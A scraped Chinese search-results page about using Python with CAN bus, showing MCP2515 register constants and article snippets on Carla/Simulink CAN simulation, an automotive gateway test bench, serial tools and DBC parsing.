    RXM_VALID_STD   = 0x20
    RXM_VALID_ALL   = 0x00
    
    RXRTR_REMOTE    = 0x08
    RXRTR_NO_REMOTE = 0x00
    
    BUKT_ROLLOVER    = 0x04
    BUKT_NO_ROLLOVER = 0x00
    
    FILHIT0_FLTR_1  = 0x01
    FILHIT0_FLTR_0  = 0x00
    
    FILHIT1_FLTR_5  = 0x05
    FILHIT1_FLTR_4  = 0x04
    FILHIT1_FLTR_3  = 0x03
    FILHIT1_FLTR_2  = 0x02
    FILHIT1_FLTR_1  = 0x01
    FILHIT1_FLTR_0  = 0x00
    
    
    #/* TXBnCTRL */
    TXREQ_SET       = 0x08
    TXREQ_CLEAR     = 0x00
    
    TXP_HIGHEST     = 0x03
    TXP_INTER_HIGH  = 0x02
    TXP_INTER_LOW   = 0x01
    TXP_LOWEST      = 0x00
    
    
    #/*******************************************************************
    # *                  Register Bit Masks                             *
    # *******************************************************************/
    
    DLC_0          = 0x00
    DLC_1          = 0x01
    DLC_2          = 0x02
    DLC_3          = 0x03
    DLC_4          = 0x04
    DLC_5          = 0x05
    DLC_6          = 0x06
    DLC_7          = 0x07    
    DLC_8          = 0x08
    
    
    #/*******************************************************************
    # *                  CAN SPI commands                               *
    # *******************************************************************/
    
    CAN_RESET       = 0xC0
    CAN_READ        = 0x03
    CAN_WRITE       = 0x02
    CAN_RTS         = 0x80
    CAN_RTS_TXB0    = 0x81
    CAN_RTS_TXB1    = 0x82
    CAN_RTS_TXB2    = 0x84
    CAN_RD_STATUS   = 0xA0
    CAN_BIT_MODIFY  = 0x05  
    CAN_RX_STATUS   = 0xB0
    CAN_RD_RX_BUFF  = 0x90
    CAN_LOAD_TX     = 0x40  
    
    
    #/*******************************************************************
    # *                  Miscellaneous                                  *
    # *******************************************************************/
    
    DUMMY_BYTE      = 0x00
    TXB0            = 0x31
    TXB1            = 0x41
    TXB2            = 0x51
    RXB0            = 0x61
    RXB1            = 0x71
    EXIDE_SET       = 0x08
    EXIDE_RESET     = 0x00
    
    #MCP2515波特率预分频
    CAN_10Kbps  = 0x31
    CAN_25Kbps  = 0x13
    CAN_50Kbps  = 0x09
    CAN_100Kbps = 0x04
    CAN_125Kbps = 0x03
    CAN_250Kbps = 0x01
    CAN_500Kbps = 0x00
    
    展开全文
  • 整体思路:仿真模型通过python打开并运行之后,会启动Carla, 使用Carla API 获取汽车的相关数据之后,启动matplotlib绘制线程,将Carla提供的数据输进模型,再从matlab的worksapce通过接口获取输出结果并绘制。...

    标注:本文来自本实验室单超的研究成果。

     

    整体思路:仿真模型通过python打开并运行之后,会启动Carla, 使用Carla API 获取汽车的相关数据之后,启动matplotlib绘制线程,将Carla提供的数据输进模型,再从matlab的worksapce通过接口获取输出结果并绘制。


    python调用仿真模型

    Matlab提供python API供外部调用,本文将需要使用的matlab功能封装成类的形式进行调用。Matlab class用于连接Matlab软件并对模型输入数据获取输出结果,其中connectToMatlab方法通过Matlab命令行启动Simulink运行仿真模型,simulate方法用于把数据输入模型,之后将输出结果以数组形式存入实例变量中。

     

     

     

    python控制Carla客户端

    python脚本启动的Carla客户端以pygame库作为媒介,实现用户输入和Carla服务端交互的各种功能,再将最新的结果渲染并绘制到pygame的用户界面中。

    初始需要先将Carla服务端启动,暴露本地2000端口用于客户端连接。

     

     

    获取到初始化的 pygame.display实例后进入循环渲染阶段,此时键盘的输入作为pygame的事件触发parse_events方法调用

     

     

     

    数据提取

    建模部分提到,simulink CAN 仿真模型主要传输的是车速、转向角、档位三种数据报文。所有的数据来源于以下三个实例:

    • 车速:车速V(km/h)计算方式为 V = 3.6 * √(x^2  + y^2  + z^2 ) (其中x、y、z表示前/后、左/右、上/下方向的速度矢量,单位为m/s)。 

     

    • 档位:档位共分为R、P、D三档,分别代表倒车、停车、直行,档位的判断依据汽车的行驶状态来定,因此档位的数据源需要汽车车速和倒车参数来判定。 

    • 转向角度:转向角可以直接从实例中获取。 

     

    实时数据展示

    上文已经解决了模型实时输入实时输出问题,那么当获取到仿真模型的输出结果时,该结果是以数组的形式记录从仿真开始到当前时间的所有结果,所以每次获取到结果后都需要重新依据新的数据样本进行绘制,由于python是Carla和Simulink数据传输的媒介,因此最好的解决方案是基于python的绘图工具实时绘制。本文采用python Matplotlib库以实现该需求。

     

    绘制代码实现

    由于绘制的是模型的输出结果,现针对输出的车速数据绘制相应的实时变化曲线,为了做到良好的代码风格,增加代码复用率,本文将一系列绘制相关的方法集中到Draw类里。

     

     

    实时仿真并绘制

    本部分将结合前面的实验结果,将所有对接Carla的python模块、对接Matlab/Simulink的python模块、实时绘制相关的python模块都组合起来运行。

    车速实时变化

    实时模拟时长为60秒,60秒内,汽车的速度变化曲线在图像中持续不断地刷新,直到60秒到为止。

    从图中可以看出,经过仿真模型模拟出来的速度数据和原数据基本一致,说明模型的CAN报文解封装过程顺利执行,但是在车速的转折点存在模型的模拟结果比原数据更平滑的问题,很明显是由于原数据输入过于频繁,两个相邻的输入时间间隔小于模型最小采样时间,而采样时间不能进一步缩小,否则会导致该时间段内无正确模拟结果输出。

     

    档位实时变化

    时长为60秒,手动控制汽车行驶,共尝试两个档位,P和D、分别代表泊车和直行,对应参数为17和20,泊车后发送单个P档位报文,到车辆开始直行这段时间不发送任何报文,直行后会依据汽车的速度反馈不断发送D档位报文。

    从图中可以看出,由于原数据变化的不是非常频繁,模型模拟出来的结果完全匹配了原数据,说明输入频率远小于模型采样频率会使模拟结果贴合预期结果。

     

    转向角度实时变化

    时长60秒,手动控制汽车行驶,并控制轮胎左右转向,向左角度为负,向右角度为正,值位于[-100, 100]区间内。

    由图可知,转向角变化数据更新十分频繁,仿真模型在处理大量的输入时必然会卡顿并抛弃大量数据,使得模拟结果没有很好地贴合原数据,因此在高频输入的前提下,模型模拟结果无法完全贴合预期。

     

    小结

    本文介绍了基于Carla自动驾驶模拟仿真平台构造Simulink CAN仿真模型并结合python API及其绘图工具库matplotlib的一整套实时仿真流程的设计和实现细节,实际模拟了虚拟汽车车速,档位、转向角度三个信息在CAN中的解封装和传递。发现在低频的数据输入场景下,模型能做到贴合实际结果,而在高频输入数据场景下,模型容易运行卡顿并在多个时间点输出无效数据,抛弃这些数据后模拟结果相对于预期结果显得平滑,无法体现预期结果中的峰值。

     

     

    展开全文
  • 可以将零知识工具放到任何CAN网络上,并收集有关存在哪些服务和漏洞的信息。 这是一个开始。 这项工作是HEAVENS(增强软件安全性和安全性的HEaling漏洞)研究项目的一部分,但仍作为一个独立项目存在。 如何安装 ...
  • 使用Python搭建网关测试台架概述新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右...

    概述

    网关(CGW)是智能化汽车核心的控制器之一,其承担车载网络通信的传输与转换,是不同总线数据的交互枢纽,用于CAN、LIN、Ethernet、FlexRay等总线的数据转发路由。
    正式由于网关功能的特殊性,其测试方法也与其他控制器有一定的差异,各个协议在网关上的实现也有其他的特性。本文主要介绍如何使用一些基础的测试设备,搭建脚本完成网关的通讯测试,此方案主要介绍CAN、LIN、Ethernet(RJ45),BroadR-Reach车载以太网、I/O输入 这些测试环境的搭建,具体的测试用例实施和执行还需要根据情况进行开发。

    系统组成

    主机部分

    带有Linux系统的电脑或树莓派

    软件组成

    Linux操作系统(Ubuntu):作为测试主机,运行测试软件和脚本。

    Python开发环境 :用于运行控制脚本,目前多数的测试设备都提供了python接口,开发简单、效率高。

    open ssh:用于远程主机控制,实现测试的远程自动化管理。

    expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式输入指定字符串,即可实现交互通信。

    canutils : linux下的CAN通讯测试工具包,用于CAN测试的配置,数据解析。

    以上只是测试实施需要的工具,如果需要进行测试任务管理,可能还需要Jekins、Redmine等系统结合实现,关于测试管理,后续再介绍分享。

    硬件组成

    CAN 、LIN 通讯卡:用于CAN、LIN报文的收发,支持python接口的任何接口卡即可,主流的有:Vector VN系列,Intrepidcs ValueCAN,PCAN,Kvaser等。

    以太网转换设备: 用于将普通四线以太网与BroadR-Reach互相转换,可选用Intrepidcs 的Moon或Technika的设备。

    USB HUB: USB接口扩展,由于网关的CAN、LIN接口较多,且还需要接入其他设备,USB接口需要扩展。

    以太网交换机:多路以太网接口扩展。

    arduino开发板:I/O模拟控制,模拟I/O信号,如硬线刹车信号。

    定制PCB板:将网关的CAN、LIN、以太网接口、 从线束转到电路板上,方便与测试设备接口连接,并且为网关提供供电、信号指示灯。

    系统示意图如下:

    在这里插入图片描述

    使用Python脚本实现的主要功能

    1. 通过网络接口卡提供的python库实现报文收发解析,保存Log数据。
    2. 解析DBC、ldf文件,进行ECU节点仿真,向网关发送对应报文,接收网关发送的报文。
    3. 根据测试用例,控制数据变化,识别网关反馈的数据是否正确。
    4. 发送诊断指令,确认网关对诊断路由功能是否正常。
    5. 根据测试数据判断测试结果,生成html格式的测试报告。

    该系统使用到的python库参考:

    https://github.com/eerimoq/cantools ,实现CAN、LIN数据库和报文信号解析

    https://github.com/intrepidcs/python_ics , ValueCAN接口卡 Python库

    展开全文
  • ** Python开发串口通讯上位机程序三部曲 ** ...其中上位机和ECU的通讯接口有串口,LIN或者CAN总线。串口作为一种低成本而又简单的通讯方式,仍然有很多客户在使用。毕竟,一个USB转串口工具,淘宝...
  • 玩CAN 这是我今年的LSEWeek演讲的主题。 幻灯片(英语)和视频... 脚本:可与CAN总线配合使用python-can脚本 所使用的工具和汽车: PiCan2 大众Polo(6R,6C)1.2(2009 -...,60 CH) 菲亚特500c 69ch(2010)
  • 现在要把上图呈现的信号从.dbc文件中解析出来,供实现自动化仿真总线信号使用,比如使用python+支持can收发的硬件即可替代canoe实现信号仿真(性能上不够用,可满足功能测试所需)。 一个标准CAN帧中包含的信息有,...
  • 现在要把上图呈现的信号从.dbc文件中解析出来,供实现自动化仿真总线信号使用,比如使用python+支持can收发的硬件即可替代canoe实现信号仿真(性能上不够用,可满足功能测试所需)。 一个标准CAN帧中包含的信息有,...
  • wrapper.rar

    2020-07-14 13:25:48
    此demo是python调用vector工具硬件dll实现CAN总线的硬件通道配置,数据采集等,便于后期新手对CAN等数据使用python开发使用
  • vetex平台通过使用CANOpen协议的CAN总线获得速度命令。 开源CANFestival库用于Linux的套接字总线体系结构之上,以通过CANBus进行通信。 要安装,请从下载这些库。 它会将您重定向到其主存储库,该主存储库位于 。...
  • dbc文件转excel

    2018-05-24 20:43:36
    汽车can总线下的dbc解析文件,用spy或者canoe什么的看起来太麻烦,系统的人就是想要看excel,么就搞了个dbc转excel工具,用python写的 具体使用方法:...
  • REMCU示例 示例,说明上的应用程序开发。... 加速度计和CAN总线嗅探器 STM32F767X C ++(附加): ADC,DAC,DMA,GPIO,PWM STM32F103RCT6 C ++(cing)和Python: ADC,GPIO,PWM ADC,GPIO AD
  • 板载系统:从CAN总线检索数据(也可以使用文件数据接口),并执行信号同步和数据处理操作,因此可以轻松有效地进行访问,并且可以执行本地功能或通过安全的Wifi或蓝牙。 客户端系统:安全地从车载机上检索数据并将...
  • pyuavcan-源码

    2021-03-30 10:31:11
    Python中的全功能UAVCAN堆栈 ... 是一种开放的轻量级数据总线标准,旨在通过CAN总线,以太网,RS-485,IEEE 802.15.4和其他可靠的传输,在航空航天和机器人应用中进行可靠的车内通信。 首字母缩写词UA
  • 也可以通过使用socketcan的vcan0通道来实现虚拟CAN网络。 按照当前配置,Dyno会议室中的rapiberry pi与socketcancan0通道上的网络其余部分通信,比特率为125000。 如果将总线类型设置为虚拟,则可以省略通道和...

空空如也

空空如也

1 2
收藏数 39
精华内容 15
关键字:

python使用can总线

python 订阅